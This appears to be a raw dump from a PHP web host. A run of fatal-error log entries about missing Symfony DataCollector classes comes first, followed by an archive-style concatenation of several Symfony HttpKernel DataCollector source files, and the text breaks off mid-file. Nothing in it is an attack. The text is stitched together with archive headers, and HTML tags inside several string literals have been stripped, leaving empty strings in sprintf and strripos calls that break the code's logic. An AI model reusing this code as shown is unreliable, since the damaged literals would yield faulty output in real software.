[25-Nov-2025 02:35:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/LoggerDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/LoggerDataCollector.php on line 25 [25-Nov-2025 03:00:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ExceptionDataCollector.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ExceptionDataCollector.php on line 23 [25-Nov-2025 03:01:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/EventDataCollector.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/EventDataCollector.php on line 29 [25-Nov-2025 03:30:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/AjaxDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/AjaxDataCollector.php on line 22 [25-Nov-2025 04:30:25 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\DataCollector\DataCollectorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DataCollector.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DataCollector.php on line 29 [25-Nov-2025 04:31:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ConfigDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ConfigDataCollector.php on line 25 [25-Nov-2025 04:31:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/MemoryDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/MemoryDataCollector.php on line 22 [25-Nov-2025 04:34:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RouterDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RouterDataCollector.php on line 22 [25-Nov-2025 05:28:58 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DataCollectorInterface.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DataCollectorInterface.php on line 23 [25-Nov-2025 05:31:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DumpDataCollector.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DumpDataCollector.php on line 32 [25-Nov-2025 23:08:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Service\ResetInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DataCollectorInterface.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DataCollectorInterface.php on line 23 [26-Nov-2025 01:33:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/TimeDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/TimeDataCollector.php on line 25 [26-Nov-2025 01:35:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/LoggerDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/LoggerDataCollector.php on line 25 [26-Nov-2025 01:36:15 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php on line 32 [26-Nov-2025 01:37:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/AjaxDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/AjaxDataCollector.php on line 22 [26-Nov-2025 01:54:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RouterDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RouterDataCollector.php on line 22 [26-Nov-2025 01:56:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/EventDataCollector.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/EventDataCollector.php on line 29 [26-Nov-2025 02:05:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/MemoryDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/MemoryDataCollector.php on line 22 [26-Nov-2025 02:06:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ExceptionDataCollector.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ExceptionDataCollector.php on line 23 [26-Nov-2025 02:07:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DumpDataCollector.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DumpDataCollector.php on line 32 [26-Nov-2025 02:07:58 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ConfigDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ConfigDataCollector.php on line 25 [26-Nov-2025 03:32:51 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\DataCollector\DataCollectorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DataCollector.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DataCollector.php on line 29 http-kernel/DataCollector/DumpDataCollector.php000064400000025373151113511610015605 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Debug\FileLinkFormatter; use Symfony\Component\Stopwatch\Stopwatch; use Symfony\Component\VarDumper\Cloner\Data; use Symfony\Component\VarDumper\Cloner\VarCloner; use Symfony\Component\VarDumper\Dumper\CliDumper; use Symfony\Component\VarDumper\Dumper\ContextProvider\SourceContextProvider; use Symfony\Component\VarDumper\Dumper\DataDumperInterface; use Symfony\Component\VarDumper\Dumper\HtmlDumper; use Symfony\Component\VarDumper\Server\Connection; /** * @author Nicolas Grekas * * @final */ class DumpDataCollector extends DataCollector implements DataDumperInterface { private ?Stopwatch $stopwatch = null; private string|FileLinkFormatter|false $fileLinkFormat; private int $dataCount = 0; private bool $isCollected = true; private int $clonesCount = 0; private int $clonesIndex = 0; private array $rootRefs; private string $charset; private ?RequestStack $requestStack; private DataDumperInterface|Connection|null $dumper; private mixed $sourceContextProvider; public function __construct(Stopwatch $stopwatch = null, string|FileLinkFormatter $fileLinkFormat = null, string $charset = null, RequestStack $requestStack = null, DataDumperInterface|Connection $dumper = null) { $fileLinkFormat = $fileLinkFormat ?: \ini_get('xdebug.file_link_format') ?: get_cfg_var('xdebug.file_link_format'); $this->stopwatch = $stopwatch; $this->fileLinkFormat = $fileLinkFormat instanceof FileLinkFormatter && false === $fileLinkFormat->format('', 0) ? false : $fileLinkFormat; $this->charset = $charset ?: \ini_get('php.output_encoding') ?: \ini_get('default_charset') ?: 'UTF-8'; $this->requestStack = $requestStack; $this->dumper = $dumper; // All clones share these properties by reference: $this->rootRefs = [ &$this->data, &$this->dataCount, &$this->isCollected, &$this->clonesCount, ]; $this->sourceContextProvider = $dumper instanceof Connection && isset($dumper->getContextProviders()['source']) ? $dumper->getContextProviders()['source'] : new SourceContextProvider($this->charset); } public function __clone() { $this->clonesIndex = ++$this->clonesCount; } public function dump(Data $data): ?string { $this->stopwatch?->start('dump'); ['name' => $name, 'file' => $file, 'line' => $line, 'file_excerpt' => $fileExcerpt] = $this->sourceContextProvider->getContext(); if (!$this->dumper || $this->dumper instanceof Connection && !$this->dumper->write($data)) { $this->isCollected = false; } $context = $data->getContext(); $label = $context['label'] ?? ''; unset($context['label']); $data = $data->withContext($context); if ($this->dumper && !$this->dumper instanceof Connection) { $this->doDump($this->dumper, $data, $name, $file, $line, $label); } if (!$this->dataCount) { $this->data = []; } $this->data[] = compact('data', 'name', 'file', 'line', 'fileExcerpt', 'label'); ++$this->dataCount; $this->stopwatch?->stop('dump'); return null; } public function collect(Request $request, Response $response, \Throwable $exception = null): void { if (!$this->dataCount) { $this->data = []; } // Sub-requests and programmatic calls stay in the collected profile. if ($this->dumper || ($this->requestStack && $this->requestStack->getMainRequest() !== $request) || $request->isXmlHttpRequest() || $request->headers->has('Origin')) { return; } // In all other conditions that remove the web debug toolbar, dumps are written on the output. if (!$this->requestStack || !$response->headers->has('X-Debug-Token') || $response->isRedirection() || ($response->headers->has('Content-Type') && !str_contains($response->headers->get('Content-Type') ?? '', 'html')) || 'html' !== $request->getRequestFormat() || false === strripos($response->getContent(), '') ) { if ($response->headers->has('Content-Type') && str_contains($response->headers->get('Content-Type') ?? '', 'html')) { $dumper = new HtmlDumper('php://output', $this->charset); $dumper->setDisplayOptions(['fileLinkFormat' => $this->fileLinkFormat]); } else { $dumper = new CliDumper('php://output', $this->charset); if (method_exists($dumper, 'setDisplayOptions')) { $dumper->setDisplayOptions(['fileLinkFormat' => $this->fileLinkFormat]); } } foreach ($this->data as $dump) { $this->doDump($dumper, $dump['data'], $dump['name'], $dump['file'], $dump['line'], $dump['label'] ?? ''); } } } public function reset(): void { $this->stopwatch?->reset(); $this->data = []; $this->dataCount = 0; $this->isCollected = true; $this->clonesCount = 0; $this->clonesIndex = 0; } /** * @internal */ public function __sleep(): array { if (!$this->dataCount) { $this->data = []; } if ($this->clonesCount !== $this->clonesIndex) { return []; } $this->data[] = $this->fileLinkFormat; $this->data[] = $this->charset; $this->dataCount = 0; $this->isCollected = true; return parent::__sleep(); } /** * @internal */ public function __wakeup() { parent::__wakeup(); $charset = array_pop($this->data); $fileLinkFormat = array_pop($this->data); $this->dataCount = \count($this->data); foreach ($this->data as $dump) { if (!\is_string($dump['name']) || !\is_string($dump['file']) || !\is_int($dump['line'])) { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } } self::__construct($this->stopwatch, \is_string($fileLinkFormat) || $fileLinkFormat instanceof FileLinkFormatter ? $fileLinkFormat : null, \is_string($charset) ? $charset : null); } public function getDumpsCount(): int { return $this->dataCount; } public function getDumps(string $format, int $maxDepthLimit = -1, int $maxItemsPerDepth = -1): array { $data = fopen('php://memory', 'r+'); if ('html' === $format) { $dumper = new HtmlDumper($data, $this->charset); $dumper->setDisplayOptions(['fileLinkFormat' => $this->fileLinkFormat]); } else { throw new \InvalidArgumentException(sprintf('Invalid dump format: "%s".', $format)); } $dumps = []; if (!$this->dataCount) { return $this->data = []; } foreach ($this->data as $dump) { $dumper->dump($dump['data']->withMaxDepth($maxDepthLimit)->withMaxItemsPerDepth($maxItemsPerDepth)); $dump['data'] = stream_get_contents($data, -1, 0); ftruncate($data, 0); rewind($data); $dumps[] = $dump; } return $dumps; } public function getName(): string { return 'dump'; } public function __destruct() { if (0 === $this->clonesCount-- && !$this->isCollected && $this->dataCount) { $this->clonesCount = 0; $this->isCollected = true; $h = headers_list(); $i = \count($h); array_unshift($h, 'Content-Type: '.\ini_get('default_mimetype')); while (0 !== stripos($h[$i], 'Content-Type:')) { --$i; } if (!\in_array(\PHP_SAPI, ['cli', 'phpdbg'], true) && stripos($h[$i], 'html')) { $dumper = new HtmlDumper('php://output', $this->charset); $dumper->setDisplayOptions(['fileLinkFormat' => $this->fileLinkFormat]); } else { $dumper = new CliDumper('php://output', $this->charset); if (method_exists($dumper, 'setDisplayOptions')) { $dumper->setDisplayOptions(['fileLinkFormat' => $this->fileLinkFormat]); } } foreach ($this->data as $i => $dump) { $this->data[$i] = null; $this->doDump($dumper, $dump['data'], $dump['name'], $dump['file'], $dump['line'], $dump['label'] ?? ''); } $this->data = []; $this->dataCount = 0; } } private function doDump(DataDumperInterface $dumper, Data $data, string $name, string $file, int $line, string $label): void { if ($dumper instanceof CliDumper) { $contextDumper = function ($name, $file, $line, $fmt, $label) { $this->line = '' !== $label ? $this->style('meta', $label).' in ' : ''; if ($this instanceof HtmlDumper) { if ($file) { $s = $this->style('meta', '%s'); $f = strip_tags($this->style('', $file)); $name = strip_tags($this->style('', $name)); if ($fmt && $link = \is_string($fmt) ? strtr($fmt, ['%f' => $file, '%l' => $line]) : $fmt->format($file, $line)) { $name = sprintf(''.$s.'', strip_tags($this->style('', $link)), $f, $name); } else { $name = sprintf(''.$s.'', $f, $name); } } else { $name = $this->style('meta', $name); } $this->line .= $name.' on line '.$this->style('meta', $line).':'; } else { $this->line .= $this->style('meta', $name).' on line '.$this->style('meta', $line).':'; } $this->dumpLine(0); }; $contextDumper = $contextDumper->bindTo($dumper, $dumper); $contextDumper($name, $file, $line, $this->fileLinkFormat, $label); } else { $cloner = new VarCloner(); $dumper->dump($cloner->cloneVar(('' !== $label ? $label.' in ' : '').$name.' on line '.$line.':')); } $dumper->dump($data); } } http-kernel/DataCollector/LateDataCollectorInterface.php000064400000001041151113511610017370 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; /** * LateDataCollectorInterface. * * @author Fabien Potencier */ interface LateDataCollectorInterface { /** * Collects data as late as possible. * * @return void */ public function lateCollect(); } http-kernel/DataCollector/LoggerDataCollector.php000064400000025412151113511610016111 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\ErrorHandler\Exception\SilencedErrorContext; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Log\DebugLoggerInterface; /** * @author Fabien Potencier * * @final */ class LoggerDataCollector extends DataCollector implements LateDataCollectorInterface { private DebugLoggerInterface $logger; private ?string $containerPathPrefix; private ?Request $currentRequest = null; private ?RequestStack $requestStack; private ?array $processedLogs = null; public function __construct(object $logger = null, string $containerPathPrefix = null, RequestStack $requestStack = null) { if ($logger instanceof DebugLoggerInterface) { $this->logger = $logger; } $this->containerPathPrefix = $containerPathPrefix; $this->requestStack = $requestStack; } public function collect(Request $request, Response $response, \Throwable $exception = null): void { $this->currentRequest = $this->requestStack && $this->requestStack->getMainRequest() !== $request ? $request : null; } public function reset(): void { if (isset($this->logger)) { $this->logger->clear(); } $this->data = []; } public function lateCollect(): void { if (isset($this->logger)) { $containerDeprecationLogs = $this->getContainerDeprecationLogs(); $this->data = $this->computeErrorsCount($containerDeprecationLogs); // get compiler logs later (only when they are needed) to improve performance $this->data['compiler_logs'] = []; $this->data['compiler_logs_filepath'] = $this->containerPathPrefix.'Compiler.log'; $this->data['logs'] = $this->sanitizeLogs(array_merge($this->logger->getLogs($this->currentRequest), $containerDeprecationLogs)); $this->data = $this->cloneVar($this->data); } $this->currentRequest = null; } public function getLogs() { return $this->data['logs'] ?? []; } public function getProcessedLogs() { if (null !== $this->processedLogs) { return $this->processedLogs; } $rawLogs = $this->getLogs(); if ([] === $rawLogs) { return $this->processedLogs = $rawLogs; } $logs = []; foreach ($this->getLogs()->getValue() as $rawLog) { $rawLogData = $rawLog->getValue(); if ($rawLogData['priority']->getValue() > 300) { $logType = 'error'; } elseif (isset($rawLogData['scream']) && false === $rawLogData['scream']->getValue()) { $logType = 'deprecation'; } elseif (isset($rawLogData['scream']) && true === $rawLogData['scream']->getValue()) { $logType = 'silenced'; } else { $logType = 'regular'; } $logs[] = [ 'type' => $logType, 'errorCount' => $rawLog['errorCount'] ?? 1, 'timestamp' => $rawLogData['timestamp_rfc3339']->getValue(), 'priority' => $rawLogData['priority']->getValue(), 'priorityName' => $rawLogData['priorityName']->getValue(), 'channel' => $rawLogData['channel']->getValue(), 'message' => $rawLogData['message'], 'context' => $rawLogData['context'], ]; } // sort logs from oldest to newest usort($logs, static fn ($logA, $logB) => $logA['timestamp'] <=> $logB['timestamp']); return $this->processedLogs = $logs; } public function getFilters() { $filters = [ 'channel' => [], 'priority' => [ 'Debug' => 100, 'Info' => 200, 'Notice' => 250, 'Warning' => 300, 'Error' => 400, 'Critical' => 500, 'Alert' => 550, 'Emergency' => 600, ], ]; $allChannels = []; foreach ($this->getProcessedLogs() as $log) { if ('' === trim($log['channel'] ?? '')) { continue; } $allChannels[] = $log['channel']; } $channels = array_unique($allChannels); sort($channels); $filters['channel'] = $channels; return $filters; } public function getPriorities() { return $this->data['priorities'] ?? []; } public function countErrors() { return $this->data['error_count'] ?? 0; } public function countDeprecations() { return $this->data['deprecation_count'] ?? 0; } public function countWarnings() { return $this->data['warning_count'] ?? 0; } public function countScreams() { return $this->data['scream_count'] ?? 0; } public function getCompilerLogs() { return $this->cloneVar($this->getContainerCompilerLogs($this->data['compiler_logs_filepath'] ?? null)); } public function getName(): string { return 'logger'; } private function getContainerDeprecationLogs(): array { if (null === $this->containerPathPrefix || !is_file($file = $this->containerPathPrefix.'Deprecations.log')) { return []; } if ('' === $logContent = trim(file_get_contents($file))) { return []; } $bootTime = filemtime($file); $logs = []; foreach (unserialize($logContent) as $log) { $log['context'] = ['exception' => new SilencedErrorContext($log['type'], $log['file'], $log['line'], $log['trace'], $log['count'])]; $log['timestamp'] = $bootTime; $log['timestamp_rfc3339'] = (new \DateTimeImmutable())->setTimestamp($bootTime)->format(\DateTimeInterface::RFC3339_EXTENDED); $log['priority'] = 100; $log['priorityName'] = 'DEBUG'; $log['channel'] = null; $log['scream'] = false; unset($log['type'], $log['file'], $log['line'], $log['trace'], $log['trace'], $log['count']); $logs[] = $log; } return $logs; } private function getContainerCompilerLogs(string $compilerLogsFilepath = null): array { if (!is_file($compilerLogsFilepath)) { return []; } $logs = []; foreach (file($compilerLogsFilepath, \FILE_IGNORE_NEW_LINES) as $log) { $log = explode(': ', $log, 2); if (!isset($log[1]) || !preg_match('/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*+(?:\\\\[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*+)++$/', $log[0])) { $log = ['Unknown Compiler Pass', implode(': ', $log)]; } $logs[$log[0]][] = ['message' => $log[1]]; } return $logs; } private function sanitizeLogs(array $logs): array { $sanitizedLogs = []; $silencedLogs = []; foreach ($logs as $log) { if (!$this->isSilencedOrDeprecationErrorLog($log)) { $sanitizedLogs[] = $log; continue; } $message = '_'.$log['message']; $exception = $log['context']['exception']; if ($exception instanceof SilencedErrorContext) { if (isset($silencedLogs[$h = spl_object_hash($exception)])) { continue; } $silencedLogs[$h] = true; if (!isset($sanitizedLogs[$message])) { $sanitizedLogs[$message] = $log + [ 'errorCount' => 0, 'scream' => true, ]; } $sanitizedLogs[$message]['errorCount'] += $exception->count; continue; } $errorId = hash('xxh128', "{$exception->getSeverity()}/{$exception->getLine()}/{$exception->getFile()}\0{$message}", true); if (isset($sanitizedLogs[$errorId])) { ++$sanitizedLogs[$errorId]['errorCount']; } else { $log += [ 'errorCount' => 1, 'scream' => false, ]; $sanitizedLogs[$errorId] = $log; } } return array_values($sanitizedLogs); } private function isSilencedOrDeprecationErrorLog(array $log): bool { if (!isset($log['context']['exception'])) { return false; } $exception = $log['context']['exception']; if ($exception instanceof SilencedErrorContext) { return true; } if ($exception instanceof \ErrorException && \in_array($exception->getSeverity(), [\E_DEPRECATED, \E_USER_DEPRECATED], true)) { return true; } return false; } private function computeErrorsCount(array $containerDeprecationLogs): array { $silencedLogs = []; $count = [ 'error_count' => $this->logger->countErrors($this->currentRequest), 'deprecation_count' => 0, 'warning_count' => 0, 'scream_count' => 0, 'priorities' => [], ]; foreach ($this->logger->getLogs($this->currentRequest) as $log) { if (isset($count['priorities'][$log['priority']])) { ++$count['priorities'][$log['priority']]['count']; } else { $count['priorities'][$log['priority']] = [ 'count' => 1, 'name' => $log['priorityName'], ]; } if ('WARNING' === $log['priorityName']) { ++$count['warning_count']; } if ($this->isSilencedOrDeprecationErrorLog($log)) { $exception = $log['context']['exception']; if ($exception instanceof SilencedErrorContext) { if (isset($silencedLogs[$h = spl_object_hash($exception)])) { continue; } $silencedLogs[$h] = true; $count['scream_count'] += $exception->count; } else { ++$count['deprecation_count']; } } } foreach ($containerDeprecationLogs as $deprecationLog) { $count['deprecation_count'] += $deprecationLog['context']['exception']->count; } ksort($count['priorities']); return $count; } } http-kernel/DataCollector/MemoryDataCollector.php000064400000004251151113511610016140 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * @author Fabien Potencier * * @final */ class MemoryDataCollector extends DataCollector implements LateDataCollectorInterface { public function __construct() { $this->reset(); } public function collect(Request $request, Response $response, \Throwable $exception = null): void { $this->updateMemoryUsage(); } public function reset(): void { $this->data = [ 'memory' => 0, 'memory_limit' => $this->convertToBytes(\ini_get('memory_limit')), ]; } public function lateCollect(): void { $this->updateMemoryUsage(); } public function getMemory(): int { return $this->data['memory']; } public function getMemoryLimit(): int|float { return $this->data['memory_limit']; } public function updateMemoryUsage(): void { $this->data['memory'] = memory_get_peak_usage(true); } public function getName(): string { return 'memory'; } private function convertToBytes(string $memoryLimit): int|float { if ('-1' === $memoryLimit) { return -1; } $memoryLimit = strtolower($memoryLimit); $max = strtolower(ltrim($memoryLimit, '+')); if (str_starts_with($max, '0x')) { $max = \intval($max, 16); } elseif (str_starts_with($max, '0')) { $max = \intval($max, 8); } else { $max = (int) $max; } switch (substr($memoryLimit, -1)) { case 't': $max *= 1024; // no break case 'g': $max *= 1024; // no break case 'm': $max *= 1024; // no break case 'k': $max *= 1024; } return $max; } } http-kernel/DataCollector/ExceptionDataCollector.php000064400000003201151113511610016620 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\ErrorHandler\Exception\FlattenException; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * @author Fabien Potencier * * @final */ class ExceptionDataCollector extends DataCollector { public function collect(Request $request, Response $response, \Throwable $exception = null): void { if (null !== $exception) { $this->data = [ 'exception' => FlattenException::createWithDataRepresentation($exception), ]; } } public function reset(): void { $this->data = []; } public function hasException(): bool { return isset($this->data['exception']); } public function getException(): \Exception|FlattenException { return $this->data['exception']; } public function getMessage(): string { return $this->data['exception']->getMessage(); } public function getCode(): int { return $this->data['exception']->getCode(); } public function getStatusCode(): int { return $this->data['exception']->getStatusCode(); } public function getTrace(): array { return $this->data['exception']->getTrace(); } public function getName(): string { return 'exception'; } } http-kernel/DataCollector/RequestDataCollector.php000064400000040304151113511610016317 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Cookie; use Symfony\Component\HttpFoundation\ParameterBag; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionBagInterface; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\HttpKernel\Event\ControllerEvent; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Component\VarDumper\Cloner\Data; /** * @author Fabien Potencier * * @final */ class RequestDataCollector extends DataCollector implements EventSubscriberInterface, LateDataCollectorInterface { /** * @var \SplObjectStorage */ private \SplObjectStorage $controllers; private array $sessionUsages = []; private ?RequestStack $requestStack; public function __construct(RequestStack $requestStack = null) { $this->controllers = new \SplObjectStorage(); $this->requestStack = $requestStack; } public function collect(Request $request, Response $response, \Throwable $exception = null): void { // attributes are serialized and as they can be anything, they need to be converted to strings. $attributes = []; $route = ''; foreach ($request->attributes->all() as $key => $value) { if ('_route' === $key) { $route = \is_object($value) ? $value->getPath() : $value; $attributes[$key] = $route; } else { $attributes[$key] = $value; } } $content = $request->getContent(); $sessionMetadata = []; $sessionAttributes = []; $flashes = []; if ($request->hasSession()) { $session = $request->getSession(); if ($session->isStarted()) { $sessionMetadata['Created'] = date(\DATE_RFC822, $session->getMetadataBag()->getCreated()); $sessionMetadata['Last used'] = date(\DATE_RFC822, $session->getMetadataBag()->getLastUsed()); $sessionMetadata['Lifetime'] = $session->getMetadataBag()->getLifetime(); $sessionAttributes = $session->all(); $flashes = $session->getFlashBag()->peekAll(); } } $statusCode = $response->getStatusCode(); $responseCookies = []; foreach ($response->headers->getCookies() as $cookie) { $responseCookies[$cookie->getName()] = $cookie; } $dotenvVars = []; foreach (explode(',', $_SERVER['SYMFONY_DOTENV_VARS'] ?? $_ENV['SYMFONY_DOTENV_VARS'] ?? '') as $name) { if ('' !== $name && isset($_ENV[$name])) { $dotenvVars[$name] = $_ENV[$name]; } } $this->data = [ 'method' => $request->getMethod(), 'format' => $request->getRequestFormat(), 'content_type' => $response->headers->get('Content-Type', 'text/html'), 'status_text' => Response::$statusTexts[$statusCode] ?? '', 'status_code' => $statusCode, 'request_query' => $request->query->all(), 'request_request' => $request->request->all(), 'request_files' => $request->files->all(), 'request_headers' => $request->headers->all(), 'request_server' => $request->server->all(), 'request_cookies' => $request->cookies->all(), 'request_attributes' => $attributes, 'route' => $route, 'response_headers' => $response->headers->all(), 'response_cookies' => $responseCookies, 'session_metadata' => $sessionMetadata, 'session_attributes' => $sessionAttributes, 'session_usages' => array_values($this->sessionUsages), 'stateless_check' => $this->requestStack?->getMainRequest()?->attributes->get('_stateless') ?? false, 'flashes' => $flashes, 'path_info' => $request->getPathInfo(), 'controller' => 'n/a', 'locale' => $request->getLocale(), 'dotenv_vars' => $dotenvVars, ]; if (isset($this->data['request_headers']['php-auth-pw'])) { $this->data['request_headers']['php-auth-pw'] = '******'; } if (isset($this->data['request_server']['PHP_AUTH_PW'])) { $this->data['request_server']['PHP_AUTH_PW'] = '******'; } if (isset($this->data['request_request']['_password'])) { $encodedPassword = rawurlencode($this->data['request_request']['_password']); $content = str_replace('_password='.$encodedPassword, '_password=******', $content); $this->data['request_request']['_password'] = '******'; } $this->data['content'] = $content; foreach ($this->data as $key => $value) { if (!\is_array($value)) { continue; } if ('request_headers' === $key || 'response_headers' === $key) { $this->data[$key] = array_map(fn ($v) => isset($v[0]) && !isset($v[1]) ? $v[0] : $v, $value); } } if (isset($this->controllers[$request])) { $this->data['controller'] = $this->parseController($this->controllers[$request]); unset($this->controllers[$request]); } if ($request->attributes->has('_redirected') && $redirectCookie = $request->cookies->get('sf_redirect')) { $this->data['redirect'] = json_decode($redirectCookie, true); $response->headers->clearCookie('sf_redirect'); } if ($response->isRedirect()) { $response->headers->setCookie(new Cookie( 'sf_redirect', json_encode([ 'token' => $response->headers->get('x-debug-token'), 'route' => $request->attributes->get('_route', 'n/a'), 'method' => $request->getMethod(), 'controller' => 